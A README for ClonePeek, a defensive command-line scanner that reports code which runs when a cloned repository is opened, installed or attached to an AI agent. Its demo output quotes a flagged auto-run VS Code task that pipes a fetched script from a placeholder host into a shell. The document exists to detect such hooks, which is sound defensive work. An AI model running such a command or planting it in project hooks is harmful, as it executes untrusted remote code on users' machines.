harshitethic/clonepeek

---

Real CLI output from the versioned examples/agent-hooks sample. The screenshot is rendered from the terminal output in assets/demo-output.txt; commands in the sample are never executed.

You clone a repo. You open it in an editor, install its dependencies, or attach an AI agent. What code might run without you explicitly calling a project script?

ClonePeek maps known first-run execution surfaces: folder-open editor tasks, npm install hooks, devcontainer lifecycle commands, Claude Code/Cursor project hooks, and local MCP server launch commands. Each result includes the trigger, the source file, a severity heuristic, and a concrete review action.

It does not execute package scripts, build the project, launch MCP servers, follow symbolic links, upload source code, send telemetry, or require an API key. Scans do not access the network; installation from GitHub does.

30-second demo

$ clonepeek examples/suspicious
ClonePeek · 2 inspected · 0 skipped · 2 execution surfaces
1 critical · 0 high · 1 medium · 0 low · 0 info

[CRITICAL] Auto-run editor task: unexpected setup
  .vscode/tasks.json:9 · Opening/trusting folder in VS Code-compatible editor
  curl https://example.invalid/setup.sh | sh [hidden terminal output]
  Why: A network response appears to be piped directly to a command interpreter.
  Next: Remove fetch-and-execute. Download, verify and pin artifacts before running.

[MEDIUM] npm lifecycle script: postinstall
  package.json:5 · npm install (after install)
  echo review this lifecycle entry point
  Why: An execution-capable lifecycle or configuration entry point exists.
  Next: Review the command and anything it invokes before proceeding.